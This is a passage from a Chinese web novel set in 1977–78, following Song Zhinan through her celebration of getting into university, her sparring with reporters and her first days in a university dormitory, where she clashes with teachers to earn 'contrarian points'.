宋知南吃着香喷喷的饼,忽然心生感悟:饼,是人类的好朋友,锅里的饼好吃,画的饼更好吃。她以后闲着没事就得多给人画画饼,大家都爱吃。 第127章 宋知南和宋知夏宋湘姐妹三人一起考上大学, 在厂区引起了轰动。他们再一琢磨,宋湘的哥哥宋晋却没考上, 这宋家的风水果然是利女不利男。 大伯母何梅这几天嗓门洪亮,走路带着强风,脸上一直挂着笑容。 别人问她培养孩子的心得,何梅说得头头是道:“我这人跟别人不一样,只要是我生的,我都重视;不是我生的,我也重视,像小南和知夏,我也疼得很。” 宋知春听说两个妹妹都考上了大学,激动得一夜没睡好,次日早晨就骑着自行车来了。 “咱们家总算是苦尽甘来了。” 宋知春说着要给两人钱:“你们上学得花不少钱, 给你俩一人三十。” 宋知南推辞不要:“大姐, 我工龄满五年了, 按规定可以带工资上学。何况这几年我也攒了不少钱,不用你给。” 宋知夏也说:“我也有钱, 不用的。你跟姐夫还得养孩子呢。” 宋知春硬把钱塞到两人手里:“养孩子的钱有, 这是我悄悄攒的,拿着。” 宋知南想了想,还是收下了:“谢谢大姐,以后家里有难处就告诉我们,你妹妹马上就有大出息了。” 宋知春抿嘴一笑:“你现在不就挺有出息的?俩孩子都说要向你们学习呢。” “他俩怎么没来?” “我走得早,他们还没起呢。今年过年你们一定得去我家。对了,我跟你姐夫搬出来住了。在西边另盖了三间房子。” “好事, 终于摆脱他们家了。” “可不是嘛。” 宋知南想了想,说道:“大姐, 这个星期天中午,我跟知夏在家里办升学宴,你们一家有空来不?” 宋知春立即答应:“那肯定得来,我到时早点来,好给你们帮忙。” “行。” 宋知春吃完午饭就匆忙回家去了。 邻居们一听说姐妹俩要办升学宴,纷纷主动前来帮忙。 宋知南想着这些人都退休了,有的是时间,索性大方地给王大爷和赵大妈钱票,让他们帮忙买菜买豆腐和肉,两人欣然答应。 何梅一听说她们要办升学宴,决定两家合在一起办,这下更热闹了。 宋知南请了自己要好的朋友同事,何黛章无双王翠花王王小雪陆诗月等人都在被请之列。厂里的几位领导她也去象征性地邀请了一下,来不来是他们的事,请不请是自己的事。 几位领导说没时间就不来了,然后每人随了一块钱的礼钱。 宋知南怔了一下,爽快收下了:“谢谢你们的赞助。” 宋知南本来只打算请客,没想着要收礼,也不知道是谁带的头,非要送礼,有的送书,有的笔记本和笔,还有的直接送钱。 起初是来吃席的人送,到最后那些没吃席的人也非要送。这些人多是厂里的女工,她们感念宋知南对她们的帮助,东西不多,算是大家的一点心意。就连白薇也送来了一份礼物。 李书悦现在已经是图书馆馆长了,她给宋知南送来了十本最新的杂志,并走心地嘱咐道:“小宋,现在全国各地的杂志陆续开始复刊了,对文章的需求量会很大,文艺创作方面应该会有一个大爆发。你可以一边读书一边写作。你以后哪怕恋爱了结婚了,也千万不要荒废自己的写作天赋。做为女同志,你一定要注意不要让生活的琐碎大量消耗你的时间和精力,人生看上去很长,但关键的时间也就几年,从现在开始到40岁,是你最宝贵的年华,一定要珍惜呀。” “李老师,我记住你的话了。张爱玲不是说过嘛,最恨有才华的女生忽然结婚,以史为鉴,我不打算结婚。” 宋知南的升学宴越办规模越大,起初她只想请邻居和朋友们吃顿饭,没想到来的人越来越多,最后只好再加两桌,两桌还是不够,又加了三桌。邻居们帮忙在院子里临时搭了三口土灶,把家里的大锅拿出来,会做饭的当大厨房,不会做的就帮忙洗菜摆桌子板凳。 屋子里摆不下,就摆到院子里,最后摆到了巷子里。桌椅板凳不够,碗筷也不够,邻居们自发自动地拿过来,还有不少人自带饭菜,反正图的就是个热闹。 整条巷子都热热闹闹红红火火。 梅小玲家门口也摆了两张桌子,梅小玲的爸妈和弟弟躲在屋里说酸话,“有啥好得意的,宋冬宝还不是没考上。” 梅小玲的弟弟梅小刚也没考上,他一想到宋冬宝也没考上,心里就平衡了,又不是他一个人没考上。 让他奇怪的是自己那个又傻又笨的姐姐竟然也考上了,纺织厂的好多女工也考上了。 梅小刚想了好久终于找出原因在哪儿了:今年的考题不适合男生。对,一定是这样。 何梅不停地穿梭在各张桌子中间,笑呵呵地招呼大家:“大伙吃好喝好,别客气。” 宋冬宝一趟又一趟地端菜。 大家一边吃一边说:“这姐弟三人相处得真和谐呀。” “小南这孩子我是看着她长大的,从小就脾气好,爱读书爱学习,她考上大学我一点都不奇怪。” “小南还脾气好?” “好,曾经好过。现在嘛,有时候也挺好的,关键得看你是谁。反正她对我挺客气的。” “可我听说她性子很直?把邻居都怼遍了?” “直怎么了?我们就喜欢直的,不喜欢那种虚伪的。邻居之间说话越不注意,越说明大家关系好,那种客客气气的太假了。” “哦哦。” 记者的到来,把宴席推到了高潮。 好家伙,吃个宴席还能赶上记者采访,这运气也没谁了。 大家伙伸长脖子,竖起耳朵,不肯错过一丝热闹,这以后可都是谈资啊。 胡记者走在最前头。 宋知南一看老朋友来了,赶紧让人端上新菜好生招待。 胡记者客气地尝了一口菜,就赶紧进入采访状态,其他记者把胡记者和宋知南围成一个圈,围观群众再把这些记者围着一个圈,大圈套小圈。 “宋主任,你说得没错,我们简单统计了一下,红星纺织厂共有285名工人考上大学,其中273名是女工。这种盛况别是说青阳市,就是全省乃至全国都是罕见。现在大家特别关心的问题是这些女工为什么能取得如此优秀的成绩?你们纺织厂为此又做了哪些努力?” 宋知南:“这个问题我上次回答过,我觉得主要是女同志适合读书学习,适合考大学。当然,这与她们自身的努力和厂领导的支持也分不开。” 有个记者插问道:“宋主任,有人反映,您去年春节就开始办夜校给女工们开小灶是吗?” 宋知南纠正道:“夜校早就开了,以前叫政治夜校,学习领袖思想和马列主义的,这个,各单位应该都有吧?四、人、帮粉碎后,不用学习政治了,就换成了文化课。我们的夜校是所有人都可以来学,但有的人对我有偏见不来学,不过后来他们也来了。所以,你不能说我专门给女工开小灶,我是开大灶的,愿者来吃。” 有一个女记者硬挤到前排提问:“宋主任,我想请您对这些考上大学的女生说一句话。” 宋知南:“那我就简单说一句吧,我们新时代的女人要有新的‘三从四得’,从政从法从商,得权得利得财得势。” 现场一片哗然。 女记者虽不完全理解,但还是刷刷记下了这句话。 有个男记者尖锐地提出:“你不觉得得权得利得财得势这个提法,是一切朝钱权看吗?这个说法是不是有些庸俗势利?” 宋知南微笑:“庸俗势利的事就交给我们女同志吧,你们继续清高,大家觉得怎么样?” 宋知南也收获了30个杠精值。 在场的女工们朗声大笑:“宋主任说得对,我们愿意庸俗势利。” 她们的宋主任在非公开场合对她们说过:功名利禄如果不好,男人们为什么拼了命地往上爬?它是全人类的追求,女人当然也可以有这种追求。 一切不能男女通用的美德,都不能算是真正的美德。 记者们面面相觑。 胡记者率先发声,“我觉得宋主任说得挺有道理,这就是时代新风啊。我们这个古老的国家就需要这种新风。” 有些记者不屑于跟胡记者这种人为伍,大家现在都在议论,胡记者是宋知南门下走狗。 女记者接着又说:“宋主任,那您能对那些没考上的女生说几句话吗?” 宋知南:“今年的高考是史上最难,因为积累了十一届考生,再加上很多大学没有招生,这就导致考生多学校少专业少,能考上的女生都很优秀,没考上的也不代表你不优秀。 有志于此的,不要灰心,可以明年再战,大学不倒年年考;志不在此的,也没关系,条条大路通罗马。我们所做的一切都是为了让人生有更多选择,是为了让自己幸福。我希望所有的女同志都幸福充实。 你们的生命仅此一份,不可复制,我希望你们要珍惜它,不要让它成为谁的续集,谁的附庸。” 女记者听着这番话莫名地燃起来了,她飞快地记下这段话,打算回去以后好好润色加工一下再发表出来。 在场的其他记者听到这番话,有人蹙眉,有人惊奇 ,更多人是不赞同。 有个男记者不甘示弱,追着要宋知南也给男同胞说一句话,宋知南想了又想,最后只得说道:“我希望男同胞们至死都是完整的好人,希望你们不要违法犯罪,不沾黄赌毒,爱家爱国,少说教多干活,亲自孝顺父母。” 男记者:“……” 其余一帮男记者则是相对苦笑。 宋知南也无所谓,她只说她想说的,别人爱赞同不赞同,她又不是广场上算卦的,专说别人爱听的。 有的记者满载而归,有的记者愤愤不平,更多的记者带着一肚子疑问,他们离开了,宴席仍在继续进行,桌上的饭菜已经吃完了,但丝毫不影响大伙的兴致。 “咱们的小宋真有大将风度啊,你看刚才面对记者时,多大气多从容。” “就是,小词一套一套的,一点也不怯场紧张。” …… 这些记者回去后,一个个绞尽脑汁地,寻找各种角度报道红星纺织厂。 他们还采访了不少考上大学的女工及其家属,厂区的很多人家以前是不买报的,现在好嘛,不说人手两份报纸,也差不多了。《青阳日报》和《青阳晚报》的销量因此上升不少。 大家见面的问话也变成了:“今天的报纸你看了吗?” 你要回答看过了,两人就开始就其中某件事某个观点开始讨论,你说没看,对方先给你复述一遍,然后再讨论。 日子就这么恍恍惚惚红红火火地过去了。 北风仍时不时地呼啸嚎叫,大雪也跟着凑热闹。 早上一推门,天地间一片洁白。 “今年的雪真厚,瑞雪兆丰年,好兆头。” 宋知南穿着大棉袄带着红色绒线帽,和黑米在雪地里比赛疯跑。 起初只是一人一狗在跑,接着小婵小娟那帮孩子也加入进来,随后大人也来凑热闹。 大家扔雪球打雪仗,空气中洋溢着欢乐的气氛。 魏芬的丈夫洪长山被俩孩子缠着要堆雪人,他心事重重地拿着铁锹堆雪人,宋知南经过他身边时,他突然开口问道:“小南,我弟报的是河东大学,可是一直没收到通知书,你说他是不是落榜了?” 宋知南说:“现在还没收到通知书应该是落榜了。今年的录取率不到百分之五,你弟考不上也很正常。” 洪长山不甘心地问:“可是咱们厂里这么多女工都能考上,为啥我弟那么聪明却考不上呢?” 宋知南:“因为你弟不是真的聪明呗。” 杠精值加5。 洪长山气呼呼地瞪着宋知南,他敷衍地堆了一个雪人,就气呼呼地回去了,回到家就跟魏芬吐槽:“那个小南真不会说话,我说我弟这么聪明为啥考不上大学,你猜她怎么说?” 魏芬一边干活一边回答:“她是不是说,你弟其实并不聪明?” “你——” 魏芬噗嗤一笑。 魏芬越想越想笑,活也不干了,跑到外面跟邻居们说起刚才的趣事。 大家一起哈哈哈。 洪长山一个人在屋里生闷气,他总觉得那些邻居是在笑话他。 魏芬笑够了,问宋知南:“小南,你跟知夏几号去报道?” “正月初十就走。” “那没几天了。”魏芬心里琢磨着,临走时送她俩什么吃的合适。 宋知南正在跟魏芬说话,邻居王大爷凑了上来:“小宋,那个老张又给你俩算命了,你知道不?” “张大爷?哦哦,想起来了。” 自从政治气氛变宽松后,民间半仙张大爷有重出江湖的架势,他悄悄地给宋知南宋知夏姐妹俩算了一卦,得出了结论:“宋知南确实是文曲星下凡,宋知夏将来也是大有作为。红星纺织厂为啥这么多人考上?那是因为红星这个名字正好撞上了宋知南这颗文曲星,星星之火,可以燎原。至于为什么是女工考上得多,因为这次的文曲星是母星。” 宋知南听罢没有任何实质性的评价,只是感慨道:“我们这一片真是风水宝地、人才辈出呀。” 前有民间福尔摩斯刘大爷,现有民间半仙张大爷,还有八卦主任王大爷,小心眼本眼洪长山。 还有那些为她集体修改记忆的可爱邻居们,这些人提供的素材够写一本书了。 她打算以后要为这些人写一本书,还有自己死去的爸远嫁的妈自杀的哥,她也要为他们写点什么。 作家爱父母爱邻居的最浪漫方式,就是把他们变现,让他们永远活在作品中。 第128章 1978年的春节比往年更热闹些, 宋知南和宋知夏串完了为数不多的亲戚后,就窝在家里收拾行李。 宋知夏的缝纫水平这几年又提升不少, 不过她还是赶不上宋湘,宋湘是真的热爱这行,可惜的是去年招生的学校太少,几家服装院校在河东省没有招生名额,宋湘只能随便选了一个专业。 宋湘为了表示感谢和庆祝,给宋知南和宋知夏各做了一件衣服,宋知南这件中短款呢子大衣是用粉色和灰色呢料拼接而成的,这两种颜色搭配在一起,意外地和谐好看。 宋知南穿上去颇为引为注目,还有不少女生上前搭讪,问这衣服是买的还是做的。 宋知南一律骄傲地回答:“我堂姐宋湘自己做的, 她原来是服装厂的。” 她没想到还真有人去找宋湘, 问她做不做衣裳。宋湘考虑片刻就接单了, 说会在开学前帮她们做好。 宋知南收拾行李累了就跟宋冬宝说话: “冬宝,小虎和黑米就交给你了, 你一定得把它们给照顾好。” “放心吧姐, 我一定会好好照顾它们的,家里也就我们仨相依为命了。” 他好可怜好无助。 宋知南说:“你试试就知道了,一个人住真的特别爽。” 她不明白,为什么宋冬宝年纪轻轻的,怎么就弄出了空巢老人的感觉? 没两天,家里收到了李玉华的信,信中说, 她四年前生了个儿子,但由于大龄生育, 身体受到了损伤,变得大不如前,孩子生下来也不太健康,总是生病,她也没正式工作,手头有点紧,问宋知夏和宋冬宝能不能给她寄点钱过去。 宋知夏和宋冬宝看完信,一齐陷入了沉默。 良久,宋知夏幽幽开口:“几年不来信,一写信就是要钱,这真的是亲妈吗?” 宋冬宝语气怅然:“妈有了弟弟后,更不把我们当回事了。” 他以前以为爸妈因为他跟哥哥是男孩子才重视他们,后来宋秋实下面坏了,他们就把目标转向自己。自己也不行了,妈妈就毫不犹豫地扔下他,所以他们其实重视的不是他们本人,而是他们身上的那个玩意儿。宋冬宝突然也感受到了这个世界的荒谬可笑。 宋知南安慰两人:“她不把我们当回事,我们也不把她当回事,扯平了。钱是不可能寄的。那是她自己主动选择的生活,她就要自己去承担后果。” 宋知夏下定决心:“是的,钱是不可能寄的,我们还要上大学,花钱的地方多着呢。” 她把信扔到一边,该干嘛干嘛。 两人接着打包行李,宋冬宝在屋里跑来跑去地帮忙。 “三姐,你一定要记得自己的诺言,以后要把我接到省城去。” “放心吧,肯定会的。” 时光飞逝,很快就到了正月初十。宋知南和宋知夏告别一众亲友邻居,踏上了新的征程。 临走前,宋知南还去拜访了几位老领导。 贺胜男拉着宋知南的手说:“你毕业后要是还回厂里,说不定能当上厂长。” 杨奋斗则说:“小宋啊,青阳市太小了,毕业后还是尽量去大城市吧,好好努力,不要忘记自己的理想。” 宋知南带着这些嘱咐和叮咛离开了青阳。 宋知夏前往省城东平,宋知南则要去河西省会西齐。 宋知南拎着行李,顺利到达河西大学。 现在的河西大学还没有经过后来的大拆大建,建筑还有点古色古香的味道,校园内楼群低矮,古木参天。 宋知南先去新生报到处报到,再按照指引一路来到女生宿舍。 宿舍在301,八人间,上下铺。 宋知南选了个靠窗的上铺,开始铺床。她在家里的时候让宋知夏做了两副床帘,铺好床后就开始挂床帘。 宋知南正在忙活,忽然听到有人推门进来了,她侧过脸飞快地瞥了一眼对方,进来的女生二十上下,梳着两条刷子似的短辫,圆脸大眼,一笑起来有两个好看的酒窝。 女生主动打招呼:“同学你好,我叫王琳,中文系的。” 宋知南一边干活一边回答:“我叫宋知南,跟你一个系。” 王琳对宋知南的床帘很感兴趣:“宋同学,你这帘子在哪儿买的?又好看又方便,我想买一个。” “我姐做的。” “哇,你姐的手好巧,我回去也要让我妈做一个。” 继王琳之后,又来了一个又矮又瘦的女生,看上去年纪挺小他,也就十六七岁的样子。 女生衣着破旧,举止拘谨,她怯怯地看了宋知南和王琳一眼,似乎在犹豫怎么打招呼。 宋知南主动跟她打招呼:“这位同学你好,你看着挺小,是应届生吧?” 女生连忙点头,“嗯是的,我叫张小凤,今年17岁,我来自河西省林城市西阳县。” 张小凤一板一眼地自我介绍,宋知南和王琳也简单介绍了自己的情况。 张小凤之后是赵清波,她二十三四岁,带着黑框眼镜,挺有书卷气。 第五个是魏秋月,是她们当中年纪最大的,今年30岁,已婚有孩子。 剩下三个还没来报到。 几个人打完招呼后就开始收拾床铺和行李,魏秋月动作最麻利,来得最晚,却最先收拾好。 收拾完后,她便去打扫宿舍卫生,张小凤也赶紧去帮忙,宋知南和王琳也加入进去,赵清波本来没收拾好,见大家都在打扫卫生,她犹豫了一下也去帮忙。 打扫完卫生,大家歇了一会儿,王琳说道:“咱们去食堂吃饭吧?” 宋知南和赵清波说要一起去。 魏秋月迟疑了一下,坦然说道:“我就不去了,我身上带的钱不多,助学金还没发下来,再加上我从家里带了好多吃的,不赶紧吃就坏了。我就不跟你们去食堂了,我带的有咸菜和饼子,晚上谁饿了找我要哈。” 张小凤也是这种想法,但她不好意思说,怕室友看不起她,一看魏秋月这么坦然,她也跟着说:“那我也不去了,我也带了吃的。” 宋知南笑着说:“从家里带的更好吃,我估计食堂的饭菜不会好吃到哪里去。” 王琳笑道:“我觉得也是,走吧,咱们先去尝尝。” 三个人结伴去食堂。 宋知南果然猜对了,这食堂的饭菜真不咋地。就那么摆着几大盆菜:炖土豆,炒萝卜,白菜炖粉条,主食是高粱饭、窝头和玉米饼。 高粱饭,又干又硬,窝窝头也硬得硌牙,白菜帮子上了年纪,萝卜是糠的。 土豆萝卜一大勺8分钱,白菜粉条说是里面有肉要1毛钱,但那肉只在最上面作为装饰,打饭师傅的勺子一个劲地往里挖。 有同学提出质疑,打饭的黑胖师傅白眼一翻:“这届学生真不行,为一片肉斤斤计较,还大学生呢,寒不寒碜?” 那名学生气得跟师傅吵了起来。 宋知南路见不平,准备拔嘴相助,还没等她挤过去,食堂负责人当机立断地把黑胖师傅撤了下去,换了一个语气和蔼的阿姨:“同学们别生气,刚才的师傅家里有点事,说话有点急。来来,你们赶紧过来打饭,菜里的肉确实不多,轮到谁就是谁。” 大家的情绪被阿姨慢声细语地安抚下来,继续排队打饭。 这顿饭大家伙吃得腮帮子疼,那些南方来的同学傻眼了,他们带着哭腔问道:“为什么没有米饭?我看地理书上说,河西省也种稻子的。” 宋知南说:“只有南边一些地方种稻子,大部分地方的主食就是窝头馒头。” 吃完饭,宋知南看到门口竟然有一个意见箱,她从书包里拿出纸笔,飞快地写道:“高粱饭太硬,萝卜白菜不新鲜,怀疑有人中饱私囊,建议食堂严查并改进;南方的同学吃不惯,建议主食增加米饭,最不济也把窝头饼子做软和些,我们是来读书的,不是来磨牙的;三号窗的打饭师傅态度不好,建议批评教育;学校里家境不好的学生很多,再建议增添一个贫困生窗口。” 食堂里的其他人看着宋知南大大方方地把纸条塞进意见箱,不由得多看了她一眼,这位女同学是一点委屈都不受啊,刚来第一天就投诉食堂。 赵清波诧异地看着宋知南:“宋同学,投诉会有用吗?” 宋知南:“有没有用先试试再说,下次直接找校长投诉。这是咱们的权利。” 不知道是不是宋知南带了好头,那几个南方来的同学也往意见箱里塞纸条。 中文系的系主任钟纪文来食堂视察,恰巧看到了这一幕。 第一天吃饭,就投诉食堂,这届学生挺不一般呐。 他稍一打听,得知是宋知南带的头,便开始留意她。 他看了一下饭菜,卖相是不太好,但现在这个季节也只有这老三样,总比他们上学时候情况好多了。现在的大学生都这么娇气吗? 宋知南三人正要离开,钟纪文叫住了她:“这位同学,听说你对咱们学校食堂有意见?” 宋知南打量一眼此人,这人大约五十上下,头发稀疏,面容严肃,习惯性背着双手,应该是个小领导。 她不亢不卑地说道:“是的,高粱饭和窝头硬得硌牙,白菜老萝卜糠,味道非常不好,食堂师傅显然是在糊弄事。还有三号窗的黑胖师傅态度相当不好,刚才出言讥讽学生。” 钟纪文:“饭菜我看了,比我们上学时强多了。你们这些年轻人就是不如老一辈的能吃苦。” 宋知南:“这位老师,你要是这么比,那就没完没了,你们这一代 还没有战争年代的人能吃苦,战争年代的也没有旧社会的能吃苦,咱们所有人都没有原始社会的人能吃苦,人家吃生肉穿兽皮,生死看天,自然循环,连医院都不进。怎么?你们艰苦奋斗难道不是为了下一代人的幸福?而是为了让年轻人吃更多的苦?” 杠精值120。 宋知南微微一惊,大学老师的杠精值这么高吗?宋知南双眼发亮,她找到了一条生财之道。 这些老师教授们,都等着吧。她以后每天都要杠几个。 周围的同学越来越多,不少人暗暗佩服宋知南,这个女同学是真敢说呀。 钟纪文尽力维持着自己的风度,问宋知南:“同学,你叫什么名字?是今年的新生吗?哪个系的?” “我叫宋知南,中文系的,我以前是我们厂的女工委主任,喜欢为民请命,为众抱薪,路见不平我就出来吼。老师,您叫什么名字?” 钟纪文淡淡一笑:“我叫什么名字,过几天你就会知道的。宋同学,你很好,很勇敢,很有辩论才能。” 钟纪文说完,转身离开了。 宋知南笑了一下,这老头还挺调皮。 赵清波盯着他的背影看了一会儿,小声说:“老师好像有点不高兴。” 王琳也说:“那怎么办?” 宋知南笑着说:“不怎么办,我高兴就行,走,回寝室去。” 她们回去的时候,魏秋月和张小凤已经吃完饭了。 王琳叽叽喳喳地把食堂发生的事告诉了两人。 魏秋月笑道:“小宋,你这人是真热心呀。” 张小凤却开始替宋知南担心:“刚开学就得罪老师不好吧?” 宋知南淡然一笑:“没事,你们以后就习惯了。”杠精值这么高,她肯定得多杠几个,不把河西大学薅秃了她不毕业。 第129章 宋知南今天着实累了, 早早地洗漱完毕上床休息。 她睡得迷迷糊糊时,听到宿舍里又来了两个同学。 宋知南睡得早, 醒得也早,第二天六点就醒了。 她轻手轻脚地下床,背着书包在校园里溜达一大圈,等食堂开饭,吃完早饭,再回宿舍。 她回来时,大家才刚起。 新来的两个女生,一个叫谢欣然,一个叫于蓝。谢欣然跟她不多大,于蓝十八岁。 谢欣然比较沉稳话不多,于蓝则是一副斗志昂扬的模样, 说话声音响亮, 走路咚咚响。 于蓝一边梳头一边对大家说道:“你们知道咱们班一共多少个女生吗?” 大家说不知道, 就等着她回答。 “四十人的班级,只有12个女同学。咱们宿舍住八个, 剩下四个走读。” “这么少啊。” 于蓝接着说:“咱们女生这么少, 所以我们一定要团结。” 魏秋月笑吟吟地看着于蓝,问道:“小于,看你这说话风格,是不是以前当过班干部?” 于蓝自豪地说道:“我从上小学一年级开始就一直是班长。” “哇。” 宋知南一锤定音:“咱们班的班长就是你了。” 于蓝摇头:“我感觉玄,女生太少了,竞选班长时不好拉票。” 8点半,她们被通知到文史楼201去开班级迎新会, 宋知南她们进去的时候,教室室里已经坐了很多人, 年龄从十六七岁到30来岁不等,有的同学衣着破旧,有的同学面容沧桑,但大家都有一共同点,就是眼睛里都有光。 宋知南大大方方地打量了大家一眼,果然如于蓝所说,男生居多,目前班里只有11个女生。 这些男同学也在偷偷摸摸地打量着班里的女同学,像魏秋月这种年纪大的,他们飞快地略过,张小凤这种的也很快略过,他们的重点放在宋知南于蓝王琳这几个正当年龄、样貌气质不错的女同学,有的人甚至在心里开始给她们的容貌进行排名,看看谁有资格当上班花。 宋知南随便找了个位置坐下,王琳挨着她坐下,于蓝立即抢坐在她的另一边。张小凤和魏秋月她们坐在宋知南后桌。 大家坐下不久,两个四十来岁、身着灰色中山装的老师进来了。 走在前面的老师气质儒雅斯文,瘦高个,戴着金边眼镜,头发略有稀疏。 他先自我介绍道:“同学们上午好,我是周好古,主讲古代文学,同时也是你们的班主任。旁边这位是你们的辅导员王增光老师。王老师管你们的生活和思想,我负责你们的学习。” 大家齐声问好:“周老师好,王老师好。” “我看大家还不熟,咱们先互相认识一下,咱们从左边第一位男同学开始自我介绍。” 王增光在旁边笑着说:“大家不要拘束,勇敢地走上来。” 那个男同学略有些拘谨地走到讲台上,声音不大:“同学们好,我叫孟金秋,今年21岁,河西省孟城人,生于秋天,爱好、爱好文学。” 说完,他像被狗撵着一样,哧溜一下跑回座位。 教室室里响起了一阵善意的笑声,两位老师也跟着笑了一下。 “我叫孙耀祖,今年23,未婚——” 宋知南听到这个名字,实在没忍住,噗嗤一声笑了出来。 孙耀祖:“……” 他忍不住多打量了宋知南一眼,这个女同学还对他笑,对他挺关注嘛。 下一个男同学走上前:“我叫白光宗,今年24……” 好嘛,这下,光宗耀祖都齐活了。她的名字起错了,她就应该叫宋灭祖。 同学们一个接一个地上来介绍,很快就轮到了女同学,王琳硬着头皮上去,简单自我介绍两句,接着就是宋知南。 宋知南昂首阔步地走上讲台,声音清亮,语速不快不慢:“同学们好,我叫宋知南,来自河东省青阳市,我以前是纺织厂女职工委员会的主任,专门负责为女职工争取她们应有的权利,同时也负责调解各种矛盾。由于一颗红心太过滚烫,调解风格带着无产阶级的犀利和直率,人们送我几个雅称:宋治男和宋一刀,说我专治各种疑男杂症,这两个男都是男人的男。 不过,那都是以前的事了。我到河西大学是来读书学习的,我觉得咱们班的男同学都是祖国严格挑选出来的人才,有文化有见识,跟厂里的某些男同志应该有着本质的区别;咱们学校的老师更不用说,肯定是人品与学问并重,智慧与善良并存,思想独立,思维开阔。我感觉我的职业技能在这里应该派不上用场。我热爱和平,很好相处,希望我们能一起度过愉快的四年。” 宋知南的话音一落,于蓝魏秋月等人便带头鼓掌,其他人也跟着一起鼓掌。气氛眼见着开始热乎起来。 王增光难得看到一个爱说又能说的同学,就不想让她这么快下去,他站在一边,笑着引导宋知南多说:“宋同学,你说得很好,从同学们的反应来看,大家都很喜欢听你讲话,你不妨再多说几句,比如谈谈你的理想你对未来的展望之类的。” 宋知南往下压一压手:“既然大家愿意听,那我就简单说两句。我的理想是当作家。我想向世界表达我的想法和愤怒,向世人分享我的智慧和幽默。有志于此的同学私下里可以跟我交流,我们一起开始文学的长征。” 周好古点头:“宋同学的理想很了不起。不过,我必须得提醒你一句,我们中文系不培养作家。” 宋知南笑着说:“我知道,作家就不是靠培养出来的。我来大学就是为了强制自己多读几年书。将来跟别人文化论战时,底气更足。” 杠精值100。 周老师笑而不语,王增光面带苦笑,他确认了,这个宋知南一定是个不好管的刺头。 宋知南则是喜形于色,她已经摸索出一点规律来了,周老师值100,昨天的小领导面值120,那校长不得是150或是200?哎呀妈呀,这就相当于满学校都是行走的钞票,光是想想,就动力满满。 宋知南回到座位,下一个上台的是于蓝。 于蓝大步流星地走上讲台,大大方方地说:“我叫于蓝,今年18岁,家就在西齐市,我以前当过班长,喜欢为同学们服务,我希望大家能选我当班长。” 宋知南带头鼓掌,其他人也赶紧跟上。 周好古笑着说:“于同学很勇敢直率,新一代的大学生就应该这样。自我介绍环节结束后,咱们就选班长。” 王增光轻轻叹息一声,这一届的女生人数虽然不多,但,都挺勇猛呀。 于蓝之后就是魏秋月和张小凤,魏秋月落落大方,张小凤有些拘谨,声音小得跟蚊子似的。 除了301宿舍的,还有四个女同学:魏素琴、胡月、刘会清、陆春和,她们家在本市不住宿舍。 宋知南打量着这帮男同学,27个人,其中7个已婚,年龄最大的31岁。年纪最小的叫苏星,才16岁,脸上还长着青春痘呢。 自我介绍完毕,便到了选班干部的环节。 宋知南力挺于蓝:“于蓝精力旺盛,又有当班长的经验,愿意为同学们服务,我选她。” 其他女生也纷纷响应。 男生这边,他们大眼瞪小眼,陷入了短暂的沉默。这么多男生,却让一个女生来管他们,这显得不太合适吧? 这时,孙耀祖突然说道:“宋知南同学,我觉得你也挺适合当班长的,我选你。” 宋知南:“于蓝比我更适合。你们男生不会是不服气被女生管着吧?要不你们推荐一个人出来,咱们公平竞争。” 大家刚认识不久,这些男同学还是挺想给老师和同学们留个好印象的。 “没有没有,我们也觉得于蓝挺好的。” 于蓝就这么当上了中文系1班的班长,个子最高的刘长胜当选为体育委员,王琳当选为文艺委员,宋知南是学习委员,班里年纪最大的老大哥周鹏是生活委员,周鹏31周岁比魏秋月还大一岁,用他的计算方法,他虚两岁,今年33了,已婚,有三个孩子,最大的孩子15了,只比他们班年纪最小的苏星小一岁,用他的话说,他不用费力就能生下苏星。 现在还没正式开学,下周一才开始正式上课,她们这两天主要是熟悉校园环境,为开学做准备。 经过这两天的相处,301宿舍里的女生们彼此都熟悉起来了。 虽然大家年龄差距很大,性格各有特点,但目前相处得还算和谐。 大家按年龄排序,魏秋月是当之无愧的老大,赵清波24岁排第二,谢欣然23,但她生日在正月,比宋知南大2个月,排第三,宋知南只能排第四,王琳是老五,于蓝老六,张小凤最小是老七。 她们宿舍的第八个同学,仍然没来报到。 魏秋月担忧地说:“这马上就正式开学了,这个同学怎么还不来呢?难道是家里有什么事给绊住了?” 宋知南却想到了别处:“有没有一种可能,是这位同学由于各种原因并没有收到录取通知书,也许她并不知道自己考上了大学?” 大家异口同声:“不会吧?” 魏秋月年龄大,经的事比大家多,她思考片刻,也赞同了宋知南的说法:“我觉得老四说得很有可能,大家考上大学不容易,咱们毕竟同学一场,我建议咱们去招生办查查这个同学的家庭地址给她寄一封挂号信让她赶紧来报到。” 于蓝自告奋勇道:“我是班长,我去查。” 于蓝行动迅速,当天就查到了这个同学的地址:“这个同学叫马招云,跟老四是同乡,家在河东省青阳市东川县大河口大队。” 宋知南想了一下东川县的位置,好山好水好风景,但就是穷。 宋知南说:“写信一是时间上来不及,二是很有可能再次被扣下。我老家有个朋友是报社的记者,我让他去帮忙跑一趟,我觉得这里面肯定有新闻可挖。” “哇,老四你厉害呀,竟然还有记者朋友。” “我以前发表过文章,一来而去就跟这些记者熟了。” 于蓝突然问道:“等等老四,你是河东省青阳市的,你所在的工厂是不是叫红星纺织厂?” “是的。” 于蓝激动地拽住宋知南:“你为什么不早说?原来你就是那个妇联宋知南,我知道你,我在报纸上看过你的事迹。” 于蓝巴拉巴拉地把宋知南的事复述了一遍:“你们知道吗?邓大姐给她回过信,她上交过一大批宝藏,她还带领纺织厂的二百多名女工考上了大学,她还在报上发表过很多文章,我起初还以为是重名呢,没想到真是她。” 其他人一起惊诧地看着宋知南,“好你个老四,你还挺低调。” 宋知南谦虚地说:“过去是过去,现在是现在。我想着,等我再创辉煌时,你们自然会知道我。” “你挺自信呀,刚来大学就想着再创辉煌了。” 大家嘻嘻哈哈笑作一团。 宋知南正色道:“今天大家都辛苦了,晚饭我请客。” 于蓝起哄道:“行啊行啊,今天你请,下次我请,走。” 张小凤听到请客,脸上流露出为难的神色,她回请不起怎么办?虽然马上就有助学金发下来,可是她得攒起来寄给奶奶看病,还得留下回家的路费。 可是不去吧,她又不想扫大家伙的兴。 魏秋月看了张小凤一眼,劝道:“小凤你也去吧,改天咱俩合伙请她们吃饼子就咸菜。” 宋知南爽快地答应:“我早盯上你们的咸菜了,就是不好意思要,这回可以光明正大地吃了。” 魏秋月和张小凤一起笑了起来,老四是给她俩面子呢,谁还能没吃过咸菜? 大家一起去食堂,宋知南把钱和票分给另外六人,“咱们们分头去排队打饭,我去打主食和肉菜。” 今天窗口加了一个肉末豆腐,跟白菜粉条一样,也是一毛钱一份,主食多了一道糙米饭,看来提意见还是有用的。 宋知南有两个铝制饭盒,一个装饭,一个装菜。 